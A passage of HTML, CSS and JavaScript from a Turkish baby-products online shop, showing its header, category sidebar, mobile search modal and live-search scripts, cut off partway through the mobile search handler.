            <!-- Sidebar Toggle (Mobile) -->
            <button class="header-btn" onclick="toggleSidebar()">
                <i class="fas fa-bars"></i>
            </button>

            <!-- BRAND LOGO -->
            <a href="index.php" class="brand-logo">
                <div class="logo-icon-wrap"><img src="/assets/bebek-gezegeni-logo-cropped.png" alt="Bebek Gezegeni" class="logo-icon-img"></div>
                <div class="logo-text">
                    <span class="logo-text-top" style="color:#1B4F72;">BEBEK</span>
                    <span class="logo-text-bottom" style="color:#89CFF0; letter-spacing: 1.5px;">GEZEGENİ</span>
                </div>
            </a>

            <!-- Search Toggle (Mobile) -->
            <button class="header-btn" onclick="toggleSearch()">
                <i class="fas fa-search"></i>
            </button>

            <!-- DESKTOP NAV & SEARCH (Hidden on Mobile) -->
            <div class="desktop-search">
                <form action="urunler.php" method="GET">
                    <i class="fas fa-search"></i>
                    <input type="text" name="q" placeholder="Bebek ürünleri, emzik, biberon ara...">
                </form>
            </div>

            <nav class="desktop-nav">
                <a href="index.php"><i class="fas fa-home"></i> Anasayfa</a>
                <a href="urunler.php"><i class="fas fa-th-large"></i> Ürünler</a>
                <a href="sepet.php">
                    <i class="fas fa-shopping-cart"></i> Sepet
                                    </a>
                                    <a href="login.php" class="btn btn-primary"
                        style="padding:0.6rem 1.5rem; border-radius:30px; color:#333 !important; font-weight:700;">Giriş
                        Yap</a>
                            </nav>
        </div>
    </header>

    <!-- SIDEBAR (Modern Offcanvas) -->
    <div class="sidebar-overlay" onclick="toggleSidebar()"></div>
    <div class="sidebar" id="sidebar">
        <div class="sidebar-header">
            <h3>MENÜ</h3>
            <button onclick="toggleSidebar()" style="background:none; border:none; font-size:1.5rem; color:#999;">
                <i class="fas fa-times"></i>
            </button>
        </div>

        <ul class="sidebar-menu">
            <li><a href="index.php"><i class="fas fa-home"></i> Anasayfa</a></li>
            <li><a href="urunler.php"><i class="fas fa-th-large"></i> Tüm Ürünler</a></li>

                            <li class="sidebar-cat-item">
                    <div style="display:flex; align-items:center;">
                        <a href="urunler.php?category=giyim-tekstil" style="flex:1;">
                            <i class="fas fa-tshirt" style="color:var(--primary); min-width:24px;"></i>
                            Giyim &amp; Tekstil                        </a>
                                                    <button onclick="this.parentElement.parentElement.classList.toggle('open')" 
                                style="background:none; border:none; padding:8px 12px; color:#94a3b8; font-size:0.8rem; cursor:pointer;">
                                <i class="fas fa-chevron-down"></i>
                            </button>
                                            </div>
                                            <ul class="sidebar-subcats">
                                                            <li>
                                    <a href="urunler.php?category=yenidogan-giyim">
                                        Yenidoğan Giyim                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=hastane-cikis-seti">
                                        Hastane Çıkış Seti                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-tulumu">
                                        Bebek Tulumu                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=body-zibin">
                                        Body &amp; Zıbın                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=alt-ust-takim">
                                        Alt Üst Takım                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=dis-giyim-mont">
                                        Dış Giyim &amp; Mont                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=pijama-ic-giyim">
                                        Pijama &amp; İç Giyim                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-coraplari">
                                        Bebek Çorapları                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-ayakkabisi">
                                        Bebek Ayakkabısı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=aksesuar">
                                        Aksesuar                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=ev-tekstili">
                                        Ev Tekstili                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-battaniyesi">
                                        Bebek Battaniyesi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=anne-giyim">
                                        Anne Giyim                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=hamile-giyim">
                                        Hamile Giyim                                    </a>
                                </li>
                                                    </ul>
                                    </li>
                            <li class="sidebar-cat-item">
                    <div style="display:flex; align-items:center;">
                        <a href="urunler.php?category=arac-gerec" style="flex:1;">
                            <i class="fas fa-baby-carriage" style="color:var(--primary); min-width:24px;"></i>
                            Araç &amp; Gereç                        </a>
                                                    <button onclick="this.parentElement.parentElement.classList.toggle('open')" 
                                style="background:none; border:none; padding:8px 12px; color:#94a3b8; font-size:0.8rem; cursor:pointer;">
                                <i class="fas fa-chevron-down"></i>
                            </button>
                                            </div>
                                            <ul class="sidebar-subcats">
                                                            <li>
                                    <a href="urunler.php?category=bebek-arabalari">
                                        Bebek Arabaları                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=baston-bebek-arabasi">
                                        Baston Bebek Arabası                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=travel-sistem">
                                        Travel Sistem                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=ikiz-bebek-arabasi">
                                        İkiz Bebek Arabası                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=oto-koltugu">
                                        Oto Koltuğu                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=mama-sandalyesi">
                                        Mama Sandalyesi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=kanguru-tasiyici">
                                        Kanguru &amp; Taşıyıcı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=yurutec">
                                        Yürüteç                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=ana-kucagi">
                                        Ana Kucağı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-salincagi">
                                        Bebek Salıncağı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=park-yatak">
                                        Park Yatak                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=besik-hamak">
                                        Beşik &amp; Hamak                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-arabasi-aksesuarlari">
                                        Bebek Arabası Aksesuarları                                    </a>
                                </li>
                                                    </ul>
                                    </li>
                            <li class="sidebar-cat-item">
                    <div style="display:flex; align-items:center;">
                        <a href="urunler.php?category=bez-mendil" style="flex:1;">
                            <i class="fas fa-toilet-paper" style="color:var(--primary); min-width:24px;"></i>
                            Bez &amp; Mendil                        </a>
                                                    <button onclick="this.parentElement.parentElement.classList.toggle('open')" 
                                style="background:none; border:none; padding:8px 12px; color:#94a3b8; font-size:0.8rem; cursor:pointer;">
                                <i class="fas fa-chevron-down"></i>
                            </button>
                                            </div>
                                            <ul class="sidebar-subcats">
                                                            <li>
                                    <a href="urunler.php?category=bebek-bezi">
                                        Bebek Bezi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=islak-mendil">
                                        Islak Mendil                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=kulot-bez">
                                        Külot Bez                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=mayo-bez">
                                        Mayo Bez                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=yenidogan-bezi">
                                        Yenidoğan Bezi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=alt-acma-ortusu">
                                        Alt Açma Örtüsü                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bez-atik-sistemi">
                                        Bez Atık Sistemi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=temizleme-pamugu">
                                        Temizleme Pamuğu                                    </a>
                                </li>
                                                    </ul>
                                    </li>
                            <li class="sidebar-cat-item">
                    <div style="display:flex; align-items:center;">
                        <a href="urunler.php?category=oyuncak-kitap" style="flex:1;">
                            <i class="fas fa-puzzle-piece" style="color:var(--primary); min-width:24px;"></i>
                            Oyuncak &amp; Kitap                        </a>
                                                    <button onclick="this.parentElement.parentElement.classList.toggle('open')" 
                                style="background:none; border:none; padding:8px 12px; color:#94a3b8; font-size:0.8rem; cursor:pointer;">
                                <i class="fas fa-chevron-down"></i>
                            </button>
                                            </div>
                                            <ul class="sidebar-subcats">
                                                            <li>
                                    <a href="urunler.php?category=egitici-oyuncaklar">
                                        Eğitici Oyuncaklar                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=peluslar">
                                        Pelüşlar                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=oyun-setleri">
                                        Oyun Setleri                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=oyuncak-bebekler">
                                        Oyuncak Bebekler                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=akulu-araclar">
                                        Akülü Araçlar                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=muzikli-oyuncaklar">
                                        Müzikli Oyuncaklar                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=ahsap-oyuncaklar">
                                        Ahşap Oyuncaklar                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bahce-plaj-oyuncaklari">
                                        Bahçe &amp; Plaj Oyuncakları                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=puzzle">
                                        Puzzle                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=lego-bloklar">
                                        Lego &amp; Bloklar                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-kitaplari">
                                        Bebek Kitapları                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=boyama-kitaplari">
                                        Boyama Kitapları                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=hikaye-masal">
                                        Hikaye &amp; Masal                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=oyun-halilari">
                                        Oyun Halıları                                    </a>
                                </li>
                                                    </ul>
                                    </li>
                            <li class="sidebar-cat-item">
                    <div style="display:flex; align-items:center;">
                        <a href="urunler.php?category=beslenme" style="flex:1;">
                            <i class="fas fa-utensils" style="color:var(--primary); min-width:24px;"></i>
                            Beslenme                        </a>
                                                    <button onclick="this.parentElement.parentElement.classList.toggle('open')" 
                                style="background:none; border:none; padding:8px 12px; color:#94a3b8; font-size:0.8rem; cursor:pointer;">
                                <i class="fas fa-chevron-down"></i>
                            </button>
                                            </div>
                                            <ul class="sidebar-subcats">
                                                            <li>
                                    <a href="urunler.php?category=bebek-mamasi">
                                        Bebek Maması                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=biberon">
                                        Biberon                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=biberon-emzigi">
                                        Biberon Emziği                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=emzik">
                                        Emzik                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=beslenme-gerecleri">
                                        Beslenme Gereçleri                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-onlugu">
                                        Bebek Önlüğü                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=mama-hazirlayici">
                                        Mama Hazırlayıcı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=mama-isitici">
                                        Mama Isıtıcı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=sterilizator">
                                        Sterilizatör                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=alistirma-bardagi">
                                        Alıştırma Bardağı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=kavanoz-mama">
                                        Kavanoz Mama                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=organik-mama">
                                        Organik Mama                                    </a>
                                </li>
                                                    </ul>
                                    </li>
                            <li class="sidebar-cat-item">
                    <div style="display:flex; align-items:center;">
                        <a href="urunler.php?category=banyo-bakim" style="flex:1;">
                            <i class="fas fa-bath" style="color:var(--primary); min-width:24px;"></i>
                            Banyo &amp; Bakım                        </a>
                                                    <button onclick="this.parentElement.parentElement.classList.toggle('open')" 
                                style="background:none; border:none; padding:8px 12px; color:#94a3b8; font-size:0.8rem; cursor:pointer;">
                                <i class="fas fa-chevron-down"></i>
                            </button>
                                            </div>
                                            <ul class="sidebar-subcats">
                                                            <li>
                                    <a href="urunler.php?category=bebek-kuveti">
                                        Bebek Küveti                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-sampuani">
                                        Bebek Şampuanı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-sabunu">
                                        Bebek Sabunu                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-yagi">
                                        Bebek Yağı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-kremi">
                                        Bebek Kremi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=pisik-kremi">
                                        Pişik Kremi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=gunes-kremi">
                                        Güneş Kremi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-taragi">
                                        Bebek Tarağı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=saglik-urunleri">
                                        Sağlık Ürünleri                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=ates-olcer">
                                        Ateş Ölçer                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=burun-aspiratoru">
                                        Burun Aspiratörü                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-lazimligi">
                                        Bebek Lazımlığı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=dis-bakimi">
                                        Diş Bakımı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=temizlik-urunleri">
                                        Temizlik Ürünleri                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-deterjani">
                                        Bebek Deterjanı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=anne-bakim">
                                        Anne Bakım                                    </a>
                                </li>
                                                    </ul>
                                    </li>
                            <li class="sidebar-cat-item">
                    <div style="display:flex; align-items:center;">
                        <a href="urunler.php?category=emzirme" style="flex:1;">
                            <i class="fas fa-baby" style="color:var(--primary); min-width:24px;"></i>
                            Emzirme                        </a>
                                                    <button onclick="this.parentElement.parentElement.classList.toggle('open')" 
                                style="background:none; border:none; padding:8px 12px; color:#94a3b8; font-size:0.8rem; cursor:pointer;">
                                <i class="fas fa-chevron-down"></i>
                            </button>
                                            </div>
                                            <ul class="sidebar-subcats">
                                                            <li>
                                    <a href="urunler.php?category=sut-pompasi">
                                        Süt Pompası                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=sut-saklama-poseti">
                                        Süt Saklama Poşeti                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=emzirme-onlugu">
                                        Emzirme Önlüğü                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=emzirme-minderi">
                                        Emzirme Minderi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=gogus-pedi">
                                        Göğüs Pedi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=gogus-kremi">
                                        Göğüs Kremi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=emzirme-sutyeni">
                                        Emzirme Sütyeni                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=anne-icecekleri">
                                        Anne İçecekleri                                    </a>
                                </li>
                                                    </ul>
                                    </li>
                            <li class="sidebar-cat-item">
                    <div style="display:flex; align-items:center;">
                        <a href="urunler.php?category=mobilya" style="flex:1;">
                            <i class="fas fa-couch" style="color:var(--primary); min-width:24px;"></i>
                            Mobilya                        </a>
                                                    <button onclick="this.parentElement.parentElement.classList.toggle('open')" 
                                style="background:none; border:none; padding:8px 12px; color:#94a3b8; font-size:0.8rem; cursor:pointer;">
                                <i class="fas fa-chevron-down"></i>
                            </button>
                                            </div>
                                            <ul class="sidebar-subcats">
                                                            <li>
                                    <a href="urunler.php?category=besik">
                                        Beşik                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-yatagi">
                                        Bebek Yatağı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=karyola">
                                        Karyola                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=dolap">
                                        Dolap                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=sifonyer">
                                        Şifonyer                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=cocuk-masa-sandalye">
                                        Çocuk Masa &amp; Sandalye                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=oyuncak-dolabi">
                                        Oyuncak Dolabı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=kitaplik">
                                        Kitaplık                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-uyku-seti">
                                        Bebek Uyku Seti                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-cibinlik">
                                        Bebek Cibinlik                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=aydinlatma">
                                        Aydınlatma                                    </a>
                                </li>
                                                    </ul>
                                    </li>
                            <li class="sidebar-cat-item">
                    <div style="display:flex; align-items:center;">
                        <a href="urunler.php?category=guvenlik" style="flex:1;">
                            <i class="fas fa-shield-alt" style="color:var(--primary); min-width:24px;"></i>
                            Güvenlik                        </a>
                                                    <button onclick="this.parentElement.parentElement.classList.toggle('open')" 
                                style="background:none; border:none; padding:8px 12px; color:#94a3b8; font-size:0.8rem; cursor:pointer;">
                                <i class="fas fa-chevron-down"></i>
                            </button>
                                            </div>
                                            <ul class="sidebar-subcats">
                                                            <li>
                                    <a href="urunler.php?category=kose-koruyucu">
                                        Köşe Koruyucu                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=cekmece-kilidi">
                                        Çekmece Kilidi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=priz-koruyucu">
                                        Priz Koruyucu                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=guvenlik-kapisi">
                                        Güvenlik Kapısı                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-telsizi">
                                        Bebek Telsizi                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=kamerali-telsiz">
                                        Kameralı Telsiz                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=araba-gunesligi">
                                        Araba Güneşliği                                    </a>
                                </li>
                                                            <li>
                                    <a href="urunler.php?category=bebek-araba-aynasi">
                                        Bebek Araba Aynası                                    </a>
                                </li>
                                                    </ul>
                                    </li>
                    </ul>
        <style>
            .sidebar-subcats { display:none; list-style:none; padding:0 0 0 36px; margin:0; }
            .sidebar-cat-item.open .sidebar-subcats { display:block; }
            .sidebar-cat-item.open .fa-chevron-down { transform:rotate(180deg); }
            .sidebar-subcats li a { display:block; padding:8px 12px; font-size:0.85rem; color:#5B7D95; text-decoration:none; border-radius:8px; }
            .sidebar-subcats li a:hover { background:#EBF5FB; color:#1B4F72; }
        </style>

        <div class="sidebar-footer" style="padding: 1.5rem 0; border-top: 1px solid rgba(137, 207, 240, 0.2);">
                            <a href="siparis-takip.php" class="btn"
                    style="width:100%; justify-content:center; background:#EBF5FB; color:#1B4F72; font-weight:700; border:1.5px solid #89CFF0; border-radius:16px; padding: 14px; margin-bottom:12px; display: flex; align-items: center; transition: 0.3s; text-decoration:none;">
                    <i class="fas fa-box-open"
                        style="margin-right:8px; color:#2E86C1; background:transparent; border:none; box-shadow:none; height:auto; width:auto;"></i>
                    Sipariş Takip
                </a>
                <a href="login.php" class="btn"
                    style="width:100%; justify-content:center; background: linear-gradient(135deg, #5DADE2, #2E86C1); color: white; font-weight: 800; border: none; border-radius: 16px; padding: 16px; box-shadow: 0 10px 25px rgba(46, 134, 193, 0.3); margin-bottom: 12px; display: flex; align-items: center; transition: 0.3s; text-decoration:none;">
                    Giriş Yap
                </a>
                <a href="register.php" class="btn"
                    style="width:100%; justify-content:center; background:white; color:#1B4F72; font-weight:700; border:1.5px solid #f1f5f9; border-radius:16px; padding: 14px; display: flex; align-items: center; transition: 0.3s; text-decoration:none;">
                    Kayıt Ol
                </a>
                    </div>
    </div>

    <!-- SEARCH MODAL -->
    <div class="search-modal" id="searchModal">
        <div class="search-header">
            <button onclick="toggleSearch()" style="background:none; border:none; font-size:1.2rem; color:#64748b;">
                <i class="fas fa-arrow-left"></i>
            </button>
            <form action="urunler.php" method="GET" style="flex:1; display:flex; position:relative;" id="mobileSearchForm">
                <input type="text" name="q" class="search-input" placeholder="Bebek ürünleri ara..." autofocus>
            </form>
            <button onclick="document.getElementById('mobileSearchForm').submit()"
                style="background:none; border:none; font-size:1.2rem; color:var(--primary);">
                <i class="fas fa-search"></i>
            </button>
        </div>
        <div class="search-modal-body" id="searchModalBody">
            <div id="mobileSearchResults"></div>
            <div id="popularSearches" class="popular-searches">
                <div style="font-size:0.8rem; font-weight:700; color:#94a3b8; text-transform:uppercase; letter-spacing:0.5px; margin-bottom:12px; padding:0 4px;">Popüler Aramalar</div>
                <div style="display:flex; flex-wrap:wrap; gap:8px;">
                                        <a href="urunler.php?q=Biberon" class="popular-tag">Biberon</a>
                                        <a href="urunler.php?q=Emzik" class="popular-tag">Emzik</a>
                                        <a href="urunler.php?q=Mama+Sandalyesi" class="popular-tag">Mama Sandalyesi</a>
                                        <a href="urunler.php?q=Bebek+Arabas%C4%B1" class="popular-tag">Bebek Arabası</a>
                                        <a href="urunler.php?q=Bebek+Bezi" class="popular-tag">Bebek Bezi</a>
                                        <a href="urunler.php?q=Puset" class="popular-tag">Puset</a>
                                        <a href="urunler.php?q=Bebek+%C5%9Eampuan%C4%B1" class="popular-tag">Bebek Şampuanı</a>
                                        <a href="urunler.php?q=Oyuncak" class="popular-tag">Oyuncak</a>
                                        <a href="urunler.php?q=Mama" class="popular-tag">Mama</a>
                                        <a href="urunler.php?q=Kanguru" class="popular-tag">Kanguru</a>
                                        <a href="urunler.php?q=Bebek+Yata%C4%9F%C4%B1" class="popular-tag">Bebek Yatağı</a>
                                        <a href="urunler.php?q=S%C3%BCt+Pompas%C4%B1" class="popular-tag">Süt Pompası</a>
                                    </div>
                <div style="margin-top:20px; font-size:0.8rem; font-weight:700; color:#94a3b8; text-transform:uppercase; letter-spacing:0.5px; margin-bottom:12px; padding:0 4px;">Kategoriler</div>
                <div style="display:flex; flex-direction:column; gap:4px;">
                                        <a href="urunler.php?category=giyim-tekstil" style="display:flex; align-items:center; gap:10px; padding:10px 12px; text-decoration:none; color:#334155; border-radius:10px; font-size:0.9rem; font-weight:500; transition:0.2s;">
                        <i class="fas fa-tshirt" style="color:#2E86C1; width:20px; text-align:center;"></i>
                        Giyim &amp; Tekstil                    </a>
                                        <a href="urunler.php?category=arac-gerec" style="display:flex; align-items:center; gap:10px; padding:10px 12px; text-decoration:none; color:#334155; border-radius:10px; font-size:0.9rem; font-weight:500; transition:0.2s;">
                        <i class="fas fa-baby-carriage" style="color:#2E86C1; width:20px; text-align:center;"></i>
                        Araç &amp; Gereç                    </a>
                                        <a href="urunler.php?category=bez-mendil" style="display:flex; align-items:center; gap:10px; padding:10px 12px; text-decoration:none; color:#334155; border-radius:10px; font-size:0.9rem; font-weight:500; transition:0.2s;">
                        <i class="fas fa-toilet-paper" style="color:#2E86C1; width:20px; text-align:center;"></i>
                        Bez &amp; Mendil                    </a>
                                        <a href="urunler.php?category=oyuncak-kitap" style="display:flex; align-items:center; gap:10px; padding:10px 12px; text-decoration:none; color:#334155; border-radius:10px; font-size:0.9rem; font-weight:500; transition:0.2s;">
                        <i class="fas fa-puzzle-piece" style="color:#2E86C1; width:20px; text-align:center;"></i>
                        Oyuncak &amp; Kitap                    </a>
                                        <a href="urunler.php?category=beslenme" style="display:flex; align-items:center; gap:10px; padding:10px 12px; text-decoration:none; color:#334155; border-radius:10px; font-size:0.9rem; font-weight:500; transition:0.2s;">
                        <i class="fas fa-utensils" style="color:#2E86C1; width:20px; text-align:center;"></i>
                        Beslenme                    </a>
                                        <a href="urunler.php?category=banyo-bakim" style="display:flex; align-items:center; gap:10px; padding:10px 12px; text-decoration:none; color:#334155; border-radius:10px; font-size:0.9rem; font-weight:500; transition:0.2s;">
                        <i class="fas fa-bath" style="color:#2E86C1; width:20px; text-align:center;"></i>
                        Banyo &amp; Bakım                    </a>
                                        <a href="urunler.php?category=emzirme" style="display:flex; align-items:center; gap:10px; padding:10px 12px; text-decoration:none; color:#334155; border-radius:10px; font-size:0.9rem; font-weight:500; transition:0.2s;">
                        <i class="fas fa-baby" style="color:#2E86C1; width:20px; text-align:center;"></i>
                        Emzirme                    </a>
                                        <a href="urunler.php?category=mobilya" style="display:flex; align-items:center; gap:10px; padding:10px 12px; text-decoration:none; color:#334155; border-radius:10px; font-size:0.9rem; font-weight:500; transition:0.2s;">
                        <i class="fas fa-couch" style="color:#2E86C1; width:20px; text-align:center;"></i>
                        Mobilya                    </a>
                                        <a href="urunler.php?category=guvenlik" style="display:flex; align-items:center; gap:10px; padding:10px 12px; text-decoration:none; color:#334155; border-radius:10px; font-size:0.9rem; font-weight:500; transition:0.2s;">
                        <i class="fas fa-shield-alt" style="color:#2E86C1; width:20px; text-align:center;"></i>
                        Güvenlik                    </a>
                                    </div>
            </div>
        </div>
    </div>

    <script>
        function toggleSidebar() {
            const sidebar = document.getElementById('sidebar');
            const overlay = document.querySelector('.sidebar-overlay');
            const bottomNav = document.querySelector('.mobile-bottom-nav');

            if (sidebar.classList.contains('active')) {
                // Closing
                sidebar.classList.remove('active');
                overlay.classList.remove('active');
                document.body.style.overflow = '';

                // Restore Navbar Z-Index
                if (bottomNav) bottomNav.style.removeProperty('z-index');

                setTimeout(() => { overlay.style.display = 'none'; }, 300);
            } else {
                // Opening
                overlay.style.display = 'block';
                // Force reflow
                overlay.offsetHeight;
                overlay.classList.add('active');
                sidebar.classList.add('active');
                document.body.style.overflow = 'hidden';

                // Force Navbar Behind Everything
                if (bottomNav) bottomNav.style.setProperty('z-index', '10', 'important');
            }
        }

        function toggleSearch() {
            const modal = document.getElementById('searchModal');
            if (modal.style.display === 'flex') {
                modal.style.display = 'none';
            } else {
                modal.style.display = 'flex';
                setTimeout(() => modal.querySelector('input').focus(), 100);
            }
        }
    </script>

    <!-- LIVE SEARCH LOGIC -->
    <style>
        .search-results {
            position: absolute;
            top: 100%;
            left: 0;
            width: 100%;
            background: white;
            border: 1px solid #e2e8f0;
            border-top: none;
            border-radius: 0 0 16px 16px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
            z-index: 1000;
            max-height: 350px;
            overflow-y: auto;
            display: none;
        }

        .search-results.active {
            display: block;
            animation: fadeIn 0.2s ease-out;
        }

        .search-item {
            display: flex;
            align-items: center;
            gap: 12px;
            padding: 12px;
            border-bottom: 1px solid #f1f5f9;
            text-decoration: none;
            color: #334155;
            transition: 0.2s;
        }

        .search-item:last-child {
            border-bottom: none;
        }

        .search-item:hover {
            background: #f8fafc;
            padding-left: 16px;
        }

        .search-item img {
            width: 44px;
            height: 44px;
            object-fit: contain;
            border-radius: 8px;
            background: #fff;
            border: 1px solid #f1f5f9;
        }

        .search-info {
            display: flex;
            flex-direction: column;
            gap: 2px;
        }

        .search-name {
            font-weight: 600;
            font-size: 0.9rem;
            color: #1e293b;
            line-height: 1.2;
        }

        .search-price {
            color: #2E86C1;
            font-weight: 700;
            font-size: 0.95rem;
        }

        .no-results {
            padding: 1rem;
            text-align: center;
            color: #94a3b8;
            font-size: 0.9rem;
        }
    </style>

    <script>
        document.addEventListener('DOMContentLoaded', () => {
            // Desktop search inputs (not inside modal)
            document.querySelectorAll('.desktop-search input[name="q"]').forEach(input => {
                const results = document.createElement('div');
                results.className = 'search-results';
                input.parentNode.appendChild(results);
                let timeout = null;
                input.addEventListener('input', function () {
                    const query = this.value.trim();
                    const container = this.parentNode.querySelector('.search-results');
                    if (query.length < 2) { container.classList.remove('active'); container.innerHTML = ''; return; }
                    clearTimeout(timeout);
                    timeout = setTimeout(() => {
                        fetch('api/search.php?q=' + encodeURIComponent(query))
                            .then(res => res.json())
                            .then(data => {
                                container.innerHTML = '';
                                if (data.length > 0) {
                                    data.forEach(p => {
                                        container.insertAdjacentHTML('beforeend', `<a href="${p.link}" class="search-item"><img src="${p.image_url || 'https://via.placeholder.com/50'}" alt="${p.name}"><div class="search-info"><span class="search-name">${p.name}</span><span class="search-price">${p.price_formatted}</span></div></a>`);
                                    });
                                } else { container.innerHTML = '<div class="no-results">Ürün bulunamadı</div>'; }
                                container.classList.add('active');
                            }).catch(err => console.error(err));
                    }, 300);
                });
                document.addEventListener('click', (e) => { if (!input.contains(e.target) && !results.contains(e.target)) results.classList.remove('active'); });
                input.addEventListener('focus', function () { const c = this.parentNode.querySelector('.search-results'); if (this.value.length >= 2 && c.innerHTML !== '') c.classList.add('active'); });
            });

            // Mobile search modal
            const mobileInput = document.querySelector('#mobileSearchForm input[name="q"]');
            const mobileResults = document.getElementById('mobileSearchResults');
            const popularBox = document.getElementById('popularSearches');
            if (mobileInput && mobileResults) {
                let mTimeout = null;
                mobileInput.addEventListener('input', function () {
                    const query = this.value.trim();
                    if (query.length < 2) { mobileResults.innerHTML = ''; if (popularBox) popularBox.style.display = ''; return; }
                    if (popularBox) popularBox.style.display = 'none';
                    clearTimeout(mTimeout);
                    mTimeout = setTimeout(() => {
                        fetch('api/search.php?q=' + encodeURIComponent(query))
                            .then(res => res.json())
                            .then(data => {
